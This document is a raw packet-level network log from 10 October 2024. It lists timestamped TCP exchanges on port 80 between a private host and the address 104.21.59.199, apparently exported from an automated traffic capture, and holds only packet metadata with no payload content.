Oct 10, 2024 21:02:35.042167902 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.042186975 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.042196989 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.042242050 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.042649031 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.042943001 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.047307014 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.047382116 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.047771931 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.047828913 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.048299074 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048463106 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048490047 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048535109 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048561096 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048588037 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048701048 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048748016 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048777103 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.048805952 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.049103975 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.052335024 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.052582979 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.052613020 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.052639008 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.052879095 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.052910089 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.336004972 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.344069958 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.349766970 CEST	80	50487	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.351135969 CEST	50487	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.462779999 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.467757940 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.468986034 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.469337940 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.474374056 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.941982031 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.943777084 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.944109917 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.948745966 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949119091 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949146986 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949177980 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.949193001 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949222088 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949248075 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949273109 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949275017 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.949299097 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949302912 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.949342012 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.949345112 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949372053 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949395895 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.949397087 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.949423075 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.949459076 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.954247952 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.954305887 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.954473972 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.954504967 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.954521894 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.954549074 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.954817057 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.954843998 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.954873085 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.954910994 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.955091953 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.955218077 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.959290981 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.959348917 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.959431887 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.959491968 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:35.959589005 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.959866047 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.959894896 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960480928 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960566998 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960592985 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960618973 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960649014 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960675001 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960721016 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960747004 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960772991 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960818052 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.960844040 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.964391947 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.964438915 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.964464903 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.964489937 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.964519978 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:35.964623928 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.249896049 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.259164095 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.271099091 CEST	80	50495	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.271161079 CEST	50495	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.385389090 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.391442060 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.393254995 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.440409899 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.445354939 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.839011908 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.839989901 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.840101004 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.844995022 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845097065 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845124006 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845169067 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.845170975 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845200062 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845226049 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.845247984 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845254898 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.845274925 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845320940 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.845323086 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845349073 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845395088 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845412970 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.845421076 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.845446110 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.845480919 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.850686073 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850714922 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850740910 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850744009 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.850768089 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850779057 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.850794077 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850842953 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850847960 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.850874901 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850900888 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850925922 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850953102 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.850964069 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.851022005 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.851051092 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.855901003 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.855958939 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:36.856051922 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856079102 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856189966 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856223106 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856463909 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856492043 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856517076 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856544018 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856570005 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856616974 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856642962 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856668949 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856694937 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856741905 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856767893 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856794119 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856818914 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856846094 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856872082 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856918097 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856945038 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856970072 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.856996059 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:36.860934019 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.143377066 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.153306007 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.158819914 CEST	80	50505	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.161241055 CEST	50505	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.270955086 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.276057005 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.276150942 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.316191912 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.321456909 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.739900112 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.740629911 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.740771055 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.745606899 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.745774984 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.745803118 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.745830059 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.745847940 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.745857000 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.745888948 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.745915890 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.745950937 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.745955944 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.745984077 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.746009111 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.746018887 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.746057987 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.746059895 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.746088028 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.746144056 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.750859976 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.750888109 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.750919104 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.750948906 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.750983000 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751009941 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751040936 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751081944 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.751117945 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751166105 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751195908 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751240969 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751250982 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.751267910 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751298904 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751302958 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.751346111 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.751355886 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.751399040 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.751439095 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.755882025 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.755951881 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:37.756249905 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756369114 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756437063 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756561041 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756587029 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756616116 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756669998 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756695986 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756726027 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756772995 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756817102 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756844044 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756871939 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756897926 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756949902 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.756975889 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.757002115 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.757028103 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.757056952 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.757081985 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.757107973 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.757153034 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.757183075 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:37.760801077 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:38.423084021 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:38.425235987 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:38.428951979 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:38.431560993 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:38.437377930 CEST	80	50511	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:38.437551975 CEST	50511	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:38.613187075 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:38.618186951 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:38.619191885 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:38.619899988 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:38.624931097 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.077585936 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.150068998 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.277867079 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.278139114 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.282862902 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283138990 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283179045 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283210039 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.283241987 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.283265114 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283304930 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283318043 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.283341885 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283354044 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.283380985 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283431053 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.283467054 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283519983 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.283525944 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283565044 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283576965 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.283602953 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.283607960 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.283654928 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.288646936 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.288708925 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.288710117 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.288748980 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.288760900 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.288790941 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.288805008 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.288830042 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.288851976 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.288877010 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.288892031 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.288988113 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.289155960 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.289237976 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.289271116 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.293850899 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.293921947 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.293992043 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294029951 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294070005 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294126987 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294167995 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294241905 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294279099 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294336081 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294431925 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294600010 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294680119 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294717073 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294753075 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294794083 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294830084 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294884920 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294922113 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.294970989 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.295007944 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.295063972 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.295100927 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.295136929 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.295172930 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.295211077 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.295267105 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.295304060 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.299089909 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.591444969 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.600656986 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.606226921 CEST	80	50517	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.606307983 CEST	50517	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.746167898 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.752238035 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:39.752326012 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.752717018 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:39.758708954 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.210923910 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.212368011 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.212687969 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.220043898 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220079899 CEST	80	50528	104.21.59.199	192.168.2.4
